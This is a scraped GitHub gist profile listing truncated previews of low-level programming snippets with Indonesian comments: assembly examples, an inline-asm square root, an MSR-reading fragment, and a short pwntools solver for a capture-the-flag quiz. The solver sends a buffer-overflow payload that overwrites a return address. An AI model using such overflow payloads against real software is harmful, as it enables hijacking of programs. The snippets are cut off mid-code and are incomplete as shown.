Skip to content

Instantly share code, notes, and snippets.

View febnug's full-sized avatar
🥴
Drunk

Febriyanto Nugroho febnug

🥴
Drunk
View GitHub Profile
; ini contoh modulus, contoh p % i
;
; hasilnya di edx
global _start
section .text
_start:
mov ebx, 3
org 100h
mov di, 4
inc al
add al, 30h
mov ah, 0eh
jmp _cetak
_loop:
inc al
_cetak:
// (c) 2021 - Febriyanto Nugroho
// compile dengan : gcc -o sqrt-SSE sqrt-SSE.c -masm=intel
#include <stdio.h>
int main(void) {
int nilai = 5;
__asm__ __volatile__("cvtsi2sd xmm0, ebx\n"
"sqrtsd xmm0, xmm0\n"
"cvttsd2si ebx, xmm0\n"
;; (c) 2021 - Febriyanto Nugroho
global _start
section .text
_start:
; sqrt(n);
mov ebx, 5 ; n
@febnug
febnug / x.py
Last active June 4, 2021 17:14
Solver GNU/Weeb Quiz 003
# Download quiz : https://gnuweeb.org/quiz/003
from pwn import *
a = process("./003")
sec_func = p64(0x04010B9)
payload = "\x41" * 504 + "\xff" * 8 + sec_func
a.sendline(payload)
; assembling using FASM on DOSBox
; fasm.exe utltu.asm
; utltu.com
;
; (c) 2021 Febriyanto Nugroho <[email protected]>
org 100h
mov ah, 09h
mov dx, pesan
; -- program input 2 digit angka lalu dijumlahkan --
;
; catatan:
;
; program ini langsung input 2 digit angka, karena bukan "buffered input"
; dan gak ada kondisi untuk input "0dh" (enter)
;
; compile pake nasm : nasm add.asm -o add.com
;
; -----------------------------------------------------------------------
; bikin program .EXE
;
; caranya :
;
; C:\> tasm BAJU
; C:\> tlink BAJU
;
; jalanin programnya :
;
; C:\> BAJU
@febnug
febnug / aa2.asm
Last active January 5, 2021 02:58
; bikin program .EXE compile dengan :
;
; C:\> tasm aa2
; C:\> tlink aa2
;
;
; belum di fix, masih ada bug
.model small
.stack 200h
; TODO: belum di test, mungkin broken (?)
global _start
section .text
_start:
mov ecx, 0xc0000082
rdmsr
mov edx, 32
mov ecx, edx